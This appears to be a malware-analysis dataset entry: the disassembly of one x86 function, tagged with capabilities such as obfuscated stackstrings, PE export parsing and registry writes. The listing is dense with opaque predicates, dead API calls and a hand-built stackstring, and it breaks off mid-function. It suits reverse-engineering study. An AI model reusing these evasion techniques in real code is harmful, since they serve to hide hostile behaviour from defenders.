Function at 0x10030f77
Capabilities:
Connect pipe
Contain obfuscated stackstrings
Get disk information
Get keyboard layout
Get system information on windows
Parse pe header
Query service status
Resolve function by parsing pe exports
Set environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100692ef
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x107c
call fcn.10064c60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x298], 1
mov dword [ebp - 0x8fc], 0xfffffffc
mov dword [ebp - 0x91c], 0x5ab06c0e
mov dword [ebp - 0x244], 0
jmp 0x10030fd7
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jge 0x10030ff3
mov eax, dword [ebp - 0x244]
mov dword [ebp + eax*4 - 0xd28], 0xfffffff6
jmp 0x10030fca
mov dword [ebp - 0x298], 0
jmp 0x1003100c
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x11
je 0x100311e7
mov dword [ebp - 0xd50], 0xfffd
mov dword [ebp - 0xd4c], 0xfffd
mov dword [ebp - 0xd48], 0xfffd
mov dword [ebp - 0xd44], 0xfffd
mov dword [ebp - 0x1f4], 0xfffffffc
mov dword [ebp - 0x924], 1
mov dword [ebp - 0x9b8], 0x678e045
mov byte [ebp - 0x11f], 0
movzx eax, byte [ebp - 0x11f]
test eax, eax
je 0x10031085
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xd28]
cmp ecx, dword [ebp + eax - 0xd28]
jne 0x100310ad
mov dword [ebp - 0x2f4], 1
jmp 0x100310b4
and dword [ebp - 0x2f4], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x2f4]
mov dword [ebp + eax - 0xd50], ecx
cmp dword [ebp - 0x2f4], 0x162c
je 0x100310de
mov dword [ebp - 0x904], 1
jmp 0x100310e5
and dword [ebp - 0x904], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd28], 4
jne 0x10031101
mov dword [ebp - 0x468], 1
jmp 0x10031108
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
add eax, 0x5f9c7104
cmp eax, dword [ebp - 0x1f4]
jge 0x10031127
mov dword [ebp - 0x8f4], 1
jmp 0x1003112e
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x8f4]
mov dword [ebp - 0x8fc], eax
mov eax, dword [ebp - 0x8fc]
cmp eax, dword [ebp - 0x1f4]
jle 0x10031154
mov dword [ebp - 0x90c], 1
jmp 0x1003115b
and dword [ebp - 0x90c], 0
mov eax, dword [ebp - 0x904]
cmp eax, dword [ebp - 0x90c]
jl 0x10031175
mov dword [ebp - 0x914], 1
jmp 0x1003117c
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x91c], eax
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x924]
jle 0x100311ae
mov dword [ebp - 0x900], 1
jmp 0x100311b5
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x924]
cmp dword [ebp - 0x900], eax
je 0x100311cf
mov dword [ebp - 0x464], 1
jmp 0x100311d6
and dword [ebp - 0x464], 0
mov eax, dword [ebp - 0x464]
mov dword [ebp - 0x9b8], eax
jmp 0x10030fff
cmp dword [ebp + 0x10], 0
jbe 0x10031209
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10031209
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002bc44
pop ecx
pop ecx
jmp 0x100386ee
mov dword [ebp - 0x9e0], 0xb0f7
push 1
lea ecx, [ebp - 0xd40]
call fcn.10020852
and dword [ebp - 4], 0
mov dword [ebp - 0x2a0], 0
jmp 0x1003123d
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 1
jge 0x1003125f
push dword [ebp - 0x2a0]
lea ecx, [ebp - 0xd40]
call fcn.100208d0
mov dword [eax], 9
jmp 0x10031230
mov eax, dword [ebp - 0x9e0]
mov dword [ebp - 0xfa8], eax
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x10031287
push 0
lea ecx, [ebp - 0xd40]
call fcn.100208d0
mov dword [eax], 1
jmp 0x100312c7
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x100312a3
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
test eax, eax
je 0x100312c7
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd40]
call fcn.100208b4
cmp dword [ebp + 0x10], 0
jne 0x10034ad4
mov dword [ebp - 0xfc], 0x318d
mov dword [ebp - 0xa0], 0
and dword [ebp - 0xc90], 0
and dword [ebp - 0xc8c], 0
and dword [ebp - 0xc88], 0
and dword [ebp - 0xc84], 0
lea ecx, [ebp - 0x36d]
call fcn.100208df
push eax
lea eax, [ebp - 0xc80]
push eax
lea eax, [ebp - 0xc90]
push eax
lea ecx, [ebp - 0x103c]
call fcn.100208e2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xce0]
call fcn.1002088e
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0xfc]
jne 0x10031372
mov dword [ebp - 0x3dc], 1
jmp 0x10031379
and dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0xfc]
cmp eax, dword [ebp - 0x3dc]
jne 0x10031393
mov dword [ebp - 0x820], 1
jmp 0x1003139a
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0xfc]
sub eax, dword [ebp - 0x820]
sub eax, dword [ebp - 0xfc]
je 0x100313d4
mov dword [ebp - 0xe40], 3
mov dword [ebp - 0x3e4], 0xfff9
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
jmp 0x100314f9
mov dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x1fc], 0xfffffff8
cmp dword [ebp - 0x130], 0xb9e9d60a
je 0x10031400
mov dword [ebp - 0x828], 1
jmp 0x10031407
and dword [ebp - 0x828], 0
cmp dword [ebp - 0x828], 0xfffffffd
jg 0x10031420
xor eax, eax
je 0x10031420
mov dword [ebp - 0x3ec], 1
jmp 0x10031427
and dword [ebp - 0x3ec], 0
mov eax, dword [ebp - 0x3ec]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0xfac], eax
cmp dword [ebp - 0x1fc], 1
jne 0x10031454
mov dword [ebp - 0x830], 1
jmp 0x1003145b
and dword [ebp - 0x830], 0
mov dword [ebp - 0x130], 0xfb8eb5ea
mov eax, dword [ebp - 0xa0]
imul eax, dword [ebp - 0x830]
mov ecx, dword [ebp - 0x1fc]
add ecx, eax
mov eax, 0x8ea2c39d
sub eax, dword [ebp - 0x130]
cmp eax, ecx
jne 0x10031495
mov dword [ebp - 0x3f4], 1
jmp 0x1003149c
and dword [ebp - 0x3f4], 0
push 0
lea ecx, [ebp - 0xce0]
call fcn.100208d0
mov ecx, dword [ebp - 0x3f4]
add ecx, dword [eax]
cmp ecx, 0xfffffff8
jae 0x100314c2
mov dword [ebp - 0x9e8], 1
jmp 0x100314c9
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0xe48], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xf1c], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xe50], eax
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xa0], 0
jmp 0x10031512
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jg 0x10031554
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x1003153a
push 0
push 0x18c9
call dword [sym.imp.USER32.dll_KillTimer]
push dword [ebp - 0xa0]
lea ecx, [ebp - 0xce0]
call fcn.100208d0
cmp dword [eax], 0
je 0x10031552
jmp 0x10031505
jmp 0x10031505
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xce0]
call fcn.100208b4
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10024b02
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x34], 0x3bf3
mov dword [ebp - 0x848], 0xd1e12aa5
mov dword [ebp - 0xe6c], 0x2c82f3c0
mov dword [ebp - 0xa90], 7
cmp dword [ebp - 0x34], 0
jne 0x10031617
cmp dword [ebp - 0x34], 0
jne 0x100315f6
cmp dword [ebp - 0x34], 0xfffffffa
jne 0x100315b7
mov dword [ebp - 0x838], 1
jmp 0x100315be
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x838]
jl 0x100315d5
mov dword [ebp - 0x3fc], 1
jmp 0x100315dc
and dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x3fc]
jne 0x100315f6
cmp dword [ebp - 0x34], 0
jne 0x100315f6
and dword [ebp - 0x840], 0
jmp 0x10031600
mov dword [ebp - 0x840], 1
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x840]
test eax, eax
jne 0x10031617
and dword [ebp - 0x404], 0
jmp 0x10031621
mov dword [ebp - 0x404], 1
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 0
jne 0x10031645
cmp dword [ebp - 0x34], 0
jne 0x10031645
and dword [ebp - 0x40c], 0
jmp 0x1003164f
mov dword [ebp - 0x40c], 1
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x40c], eax
je 0x10031669
cmp dword [ebp - 0x34], 0
jne 0x10031669
and dword [ebp - 0x850], 0
jmp 0x10031673
mov dword [ebp - 0x850], 1
cmp dword [ebp - 0x850], 0x189
jne 0x1003168b
mov dword [ebp - 0x414], 1
jmp 0x10031692
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x414], eax
jne 0x10031785
mov dword [ebp - 0x9f0], 0xde283bc1
push 4
lea ecx, [ebp - 0xcd4]
call fcn.10020852
mov dword [ebp - 4], 2
mov dword [ebp - 0x2a8], 0
jmp 0x100316d8
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 4
jge 0x100316f7
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0xcd4]
call fcn.100208d0
or dword [eax], 0xffffffff
jmp 0x100316cb
xor eax, eax
jne 0x10031725
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xe58], eax
mov eax, 0xcd1
test eax, eax
jne 0x10031725
cmp dword [ebp - 0x34], 0
jne 0x10031725
mov eax, 0xe7374489
test eax, eax
jne 0x10031725
and dword [ebp - 0x858], 0
jmp 0x1003172f
mov dword [ebp - 0x858], 1
mov eax, dword [ebp - 0x858]
add eax, 0x88af
cmp dword [ebp - 0x9f0], eax
jg 0x1003174e
mov dword [ebp - 0xa88], 1
jmp 0x10031755
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xe78], eax
push 0
lea ecx, [ebp - 0xcd4]
call fcn.100208d0
mov dword [eax], 0xfffffff7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcd4]
call fcn.100208b4
jmp 0x10031842
push 4
lea ecx, [ebp - 0xbb8]
call fcn.10020852
mov dword [ebp - 4], 3
mov dword [ebp - 0x204], 0
jmp 0x100317b2
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 4
jge 0x100317d4
push dword [ebp - 0x204]
lea ecx, [ebp - 0xbb8]
call fcn.100208d0
mov dword [eax], 0xda66
jmp 0x100317a5
push 0
lea ecx, [ebp - 0xbb8]
call fcn.100208d0
cmp dword [eax], 1
jle 0x10031804
push 0
lea ecx, [ebp - 0xbb8]
call fcn.100208d0
cmp dword [eax], 0
je 0x10031804
mov dword [ebp - 0x41c], 1
jmp 0x1003180b
and dword [ebp - 0x41c], 0
cmp dword [ebp - 0x41c], 0
jg 0x10031820
mov dword [ebp - 0x860], 1
jmp 0x10031827
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x860]
mov dword [ebp - 0xa90], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbb8]
call fcn.100208b4
cmp dword [0x10611714], 0
jne 0x100345a0
mov dword [ebp - 0xa98], 0x5f90
lea eax, [ebp - 0xa98]
push eax
call fcn.1002bc09
pop ecx
mov dword [ebp - 0x62c], eax
mov dword [ebp - 0xcc], 0xffffffff
mov dword [ebp - 0xf24], 0x84cb8f6c
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x898], 8
mov dword [ebp - 0x354], 0xffffffff
mov dword [ebp - 0xaa0], 0xa3a7221e
push 4
lea ecx, [ebp - 0xd04]
call fcn.10020852
mov dword [ebp - 4], 4
mov dword [ebp - 0xe80], 1
mov dword [ebp - 0x2b0], 0
jmp 0x100318df
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 4
jge 0x10031901
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0xd04]
call fcn.100208d0
mov dword [eax], 0x53a81f6e
jmp 0x100318d2
mov dword [ebp - 0xcc], 0x1a
jmp 0x1003191a
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x1c
jge 0x10031bcd
mov dword [ebp - 0x2fc], 0xffffffff
mov dword [ebp - 0x16c], 0xc42ff18c
mov dword [ebp - 0x20c], 0x7d3709e8
mov byte [ebp - 0x124], 0
movzx eax, byte [ebp - 0x124]
test eax, eax
je 0x10031973
push 0x14a6
push 0
push 0x1d4f
push 0x1d3e
push 0x14bc
call dword [sym.imp.GDI32.dll_ExtFloodFill]
mov eax, dword [ebp - 0x2fc]
dec eax
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x2fc]
jge 0x1003199a
mov dword [ebp - 0x880], 1
jmp 0x100319a1
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0xcc]
jne 0x100319bb
mov dword [ebp - 0x424], 1
jmp 0x100319c2
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x424], eax
je 0x100319e5
cmp dword [ebp - 0x898], 0
je 0x100319e5
mov dword [ebp - 0x868], 1
jmp 0x100319ec
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 0
je 0x10031a01
mov dword [ebp - 0x42c], 1
jmp 0x10031a08
and dword [ebp - 0x42c], 0
cmp dword [ebp - 0x42c], 0x268f
jle 0x10031a20
mov dword [ebp - 0x870], 1
jmp 0x10031a27
and dword [ebp - 0x870], 0
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0xffffffff
jle 0x10031a48
mov dword [ebp - 0x878], 1
jmp 0x10031a4f
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x878]
mov ecx, dword [ebp - 0x16c]
add ecx, eax
mov eax, 0xa5f2
sub eax, ecx
je 0x10031a8f
cmp dword [ebp - 0xcc], 0
je 0x10031a8f
cmp dword [ebp - 0x16c], 0
je 0x10031a8f
xor eax, eax
inc eax
je 0x10031a8f
mov dword [ebp - 0x43c], 1
jmp 0x10031a96
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x43c]
neg eax
cmp dword [ebp - 0x880], eax
jge 0x10031ab2
mov dword [ebp - 0x444], 1
jmp 0x10031ab9
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jne 0x10031ade
push 0xfffffffffffffffb
pop eax
test eax, eax
jne 0x10031ade
and dword [ebp - 0x888], 0
jmp 0x10031ae8
mov dword [ebp - 0x888], 1
mov eax, dword [ebp - 0xaa0]
cmp dword [ebp - 0x888], eax
jg 0x10031b0b
mov eax, 0x5f93be41
test eax, eax
je 0x10031b0b
mov dword [ebp - 0x44c], 1
jmp 0x10031b12
and dword [ebp - 0x44c], 0
mov eax, dword [ebp - 0x44c]
sub eax, dword [ebp - 0x20c]
jne 0x10031b32
cmp dword [ebp - 0x354], 0
jne 0x10031b32
and dword [ebp - 0x890], 0
jmp 0x10031b3c
mov dword [ebp - 0x890], 1
mov eax, dword [ebp - 0x354]
cmp dword [ebp - 0x890], eax
jge 0x10031b56
mov dword [ebp - 0x454], 1
jmp 0x10031b5d
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x454]
sub eax, dword [ebp - 0x898]
cmp eax, dword [ebp - 0x20c]
jg 0x10031b84
push 3
pop eax
test eax, eax
je 0x10031b84
mov dword [ebp - 0x45c], 1
jmp 0x10031b8b
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0x45c], eax
jge 0x10031ba5
mov dword [ebp - 0x8a0], 1
jmp 0x10031bac
and dword [ebp - 0x8a0], 0
push 0
lea ecx, [ebp - 0xd04]
call fcn.100208d0
mov ecx, dword [ebp - 0x8a0]
imul ecx, dword [eax]
mov dword [ebp - 0x20c], ecx
jmp 0x1003190d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd04]
call fcn.100208b4
mov dword [ebp - 0x5c], 2
mov dword [ebp - 0x2b8], 0
jmp 0x10031bfc
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 3
jge 0x10031c18
mov eax, dword [ebp - 0x2b8]
mov dword [ebp + eax*4 - 0x3ac], 0
jmp 0x10031bef
mov dword [ebp - 0x5c], 0
jmp 0x10031c28
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffea
jge 0x1003219d
mov dword [ebp - 0x14], 0x39924432
mov dword [ebp - 0x14], 0
jmp 0x10031c49
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x10032198
mov dword [ebp - 0xc0c], 0xffffffff
mov dword [ebp - 0xc08], 0xffffffff
mov dword [ebp - 0xc04], 0xffffffff
mov dword [ebp - 0xc00], 0xffffffff
mov dword [ebp - 0xab8], 0xd14a140c
mov dword [ebp - 0xac8], 9
mov dword [ebp - 0xad8], 0xfffffffc
mov dword [ebp - 0x214], 0
jmp 0x10031cb2
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x10031cce
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x98], 0xf90edcad
jmp 0x10031ca5
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x98], 2
jmp 0x10031cfc
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x98], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x98], 0
jl 0x10031f43
mov dword [ebp - 0xab0], 9
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xf94], eax
cmp dword [ebp - 0x14], 0xfffc
jae 0x10031d38
mov dword [ebp - 0x8a8], 1
jmp 0x10031d3f
and dword [ebp - 0x8a8], 0
cmp dword [ebp - 0x8a8], 0
je 0x10031d54
mov dword [ebp - 0xaa8], 1
jmp 0x10031d5b
and dword [ebp - 0xaa8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
mov dword [ebp - 0xe88], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ac]
mov dword [ebp - 0xf2c], eax
cmp dword [ebp - 0x14], 0x15b0
jl 0x10031d96
mov dword [ebp - 0x6dc], 1
jmp 0x10031d9d
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x3ac]
cmp dword [ebp - 0x6dc], eax
jg 0x10031dbb
mov dword [ebp - 0x46c], 1
jmp 0x10031dc2
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x46c], eax
jle 0x10031dd9
mov dword [ebp - 0x8b8], 1
jmp 0x10031de0
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
sub eax, 0x53710cb2
cmp eax, dword [ebp - 0x14]
jge 0x10031dfc
mov dword [ebp - 0x474], 1
jmp 0x10031e03
and dword [ebp - 0x474], 0
cmp dword [ebp - 0x474], 0xfffffff9
jge 0x10031e18
mov dword [ebp - 0x6e4], 1
jmp 0x10031e1f
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x6e4], eax
jne 0x10031e36
mov dword [ebp - 0x47c], 1
jmp 0x10031e3d
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x3ac]
neg eax
sub eax, dword [ebp - 0x47c]
cmp eax, dword [ebp - 0x14]
jne 0x10031e60
mov dword [ebp - 0x81c], 1
jmp 0x10031e67
and dword [ebp - 0x81c], 0
cmp dword [ebp - 0x81c], 0xfbc6a687
je 0x10031e82
cmp dword [ebp - 0x14], 0
jne 0x10031e82
and dword [ebp - 0x484], 0
jmp 0x10031e8c
mov dword [ebp - 0x484], 1
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x484]
neg ecx
cmp ecx, dword [ebp + eax*4 - 0x3ac]
jg 0x10031eb6
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x3ac], 0
jne 0x10031eb6
and dword [ebp - 0x6ec], 0
jmp 0x10031ec0
mov dword [ebp - 0x6ec], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc0c]
imul eax, dword [ebp - 0x6ec]
cmp eax, 0xc5265879
ja 0x10031ee7
mov dword [ebp - 0x48c], 1
jmp 0x10031eee
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0xffffffff
jne 0x10031f03
mov dword [ebp - 0x8dc], 1
jmp 0x10031f0a
and dword [ebp - 0x8dc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
cmp dword [ebp - 0x8dc], eax
jle 0x10031f2b
mov dword [ebp - 0x494], 1
jmp 0x10031f32
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0xab0], eax
jmp 0x10031ce1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x14]
je 0x10031f57
mov dword [ebp - 0x82c], 1
jmp 0x10031f5e
and dword [ebp - 0x82c], 0
cmp dword [ebp - 0x14], 1
jge 0x10031f73
cmp dword [ebp - 0x5c], 0
jne 0x10031f73
and dword [ebp - 0x6f4], 0
jmp 0x10031f7d
mov dword [ebp - 0x6f4], 1
mov eax, dword [ebp - 0xab8]
cmp dword [ebp - 0x6f4], eax
jl 0x10031f97
mov dword [ebp - 0xac0], 1
jmp 0x10031f9e
and dword [ebp - 0xac0], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xe90], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xd88], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xd8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ac]
cmp eax, dword [ebp - 0x14]
je 0x10031fd7
mov dword [ebp - 0x49c], 1
jmp 0x10031fde
and dword [ebp - 0x49c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x49c]
mov dword [ebp + eax - 0x98], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
mov dword [ebp - 0xd94], eax
mov eax, dword [ebp - 0x5c]
inc eax
jne 0x10032019
cmp dword [ebp - 0x14], 0
jne 0x10032019
and dword [ebp - 0x824], 0
jmp 0x10032023
mov dword [ebp - 0x824], 1
cmp dword [ebp - 0x824], 0x43ad
jl 0x1003203b
mov dword [ebp - 0x4a4], 1
jmp 0x10032042
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0xac8]
cmp dword [ebp - 0x4a4], eax
jle 0x10032060
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x10032060
and dword [ebp - 0x6fc], 0
jmp 0x1003206a
mov dword [ebp - 0x6fc], 1
mov eax, dword [ebp - 0x6fc]
neg eax
cmp eax, dword [ebp - 0x14]
je 0x10032083
mov dword [ebp - 0x4ac], 1
jmp 0x1003208a
and dword [ebp - 0x4ac], 0
cmp dword [ebp - 0x4ac], 0x48f7c4fb
je 0x100320a2
mov dword [ebp - 0x8c4], 1
jmp 0x100320a9
and dword [ebp - 0x8c4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3ac]
cmp dword [ebp - 0x8c4], eax
je 0x100320da
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3ac], 0
je 0x100320da
mov dword [ebp - 0x4b4], 1
jmp 0x100320e1
and dword [ebp - 0x4b4], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x4b4]
cmp ecx, dword [ebp + eax - 0xc0c]
jl 0x10032105
mov dword [ebp - 0x704], 1
jmp 0x1003210c
and dword [ebp - 0x704], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x704]
sub ecx, 0x2b4b7126
cmp ecx, dword [ebp + eax - 0x3ac]
jl 0x10032133
mov dword [ebp - 0x4bc], 1
jmp 0x1003213a
and dword [ebp - 0x4bc], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x4bc]
lea eax, [ecx + eax + 0x3254c1c0]
test eax, eax
je 0x10032161
push 6
pop eax
test eax, eax
je 0x10032161
mov dword [ebp - 0x4c4], 1
jmp 0x10032168
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x82c]
cmp eax, dword [ebp - 0x4c4]
jg 0x10032182
mov dword [ebp - 0xad0], 1
jmp 0x10032189
and dword [ebp - 0xad0], 0
mov dword [ebp - 0xad8], 0x9d1bba4b
jmp 0x10031c42
jmp 0x10031c21
mov byte [ebp - 0x115], 0
movzx eax, byte [ebp - 0x115]
test eax, eax
je 0x100321b9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov byte [ebp - 0x1e4], 8
mov byte [ebp - 0x1e3], 0x38
mov byte [ebp - 0x1e2], 0xc
mov byte [ebp - 0x1e1], 0x38
mov byte [ebp - 0x1e0], 2
mov byte [ebp - 0x1df], 0x23
mov byte [ebp - 0x1de], 5
mov byte [ebp - 0x1dd], 6
mov byte [ebp - 0x1dc], 0xa
mov byte [ebp - 0x1db], 0x37
mov byte [ebp - 0x1da], 3
mov byte [ebp - 0x1d9], 0x13
mov byte [ebp - 0x1d8], 7
mov byte [ebp - 0x1d7], 0x3f
mov byte [ebp - 0x1d6], 4
mov byte [ebp - 0x1d5], 0xc
mov byte [ebp - 0x1d4], 1
mov byte [ebp - 0x1d3], 0
mov byte [ebp - 0x1d2], 4
mov byte [ebp - 0x1d1], 0x7d
mov byte [ebp - 0x1d0], 0xc0
mov byte [ebp - 0x1cf], 0x84
mov byte [ebp - 0x1ce], 0xcd
mov byte [ebp - 0x1cd], 0
mov byte [ebp - 0x1cc], 0x22
mov byte [ebp - 0x1cb], 9
mov byte [ebp - 0x1ca], 0x29
mov byte [ebp - 0x1c9], 6
mov byte [ebp - 0x1c8], 0x1d
mov byte [ebp - 0x1c7], 0xb
mov byte [ebp - 0x1c6], 0xb
mov dword [ebp - 0x4c], 0xd058a835
mov dword [ebp - 0xaf0], 8
mov dword [ebp - 0xd9c], 0x11914cc5
mov dword [ebp - 0x2c0], 0
jmp 0x100322c6
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 1
jge 0x100322e2
mov eax, dword [ebp - 0x2c0]
mov dword [ebp + eax*4 - 0x188], 1
jmp 0x100322b9
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xda4], eax
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x4c]
jge 0x100322ff
mov dword [ebp - 0xae0], 1
jmp 0x10032306
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0xdb4], eax
cmp dword [ebp - 0x4c], 0
je 0x10032330
cmp dword [ebp - 0x4c], 0
je 0x10032330
mov dword [ebp - 0xae8], 1
jmp 0x10032337
and dword [ebp - 0xae8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp + eax - 0x188]
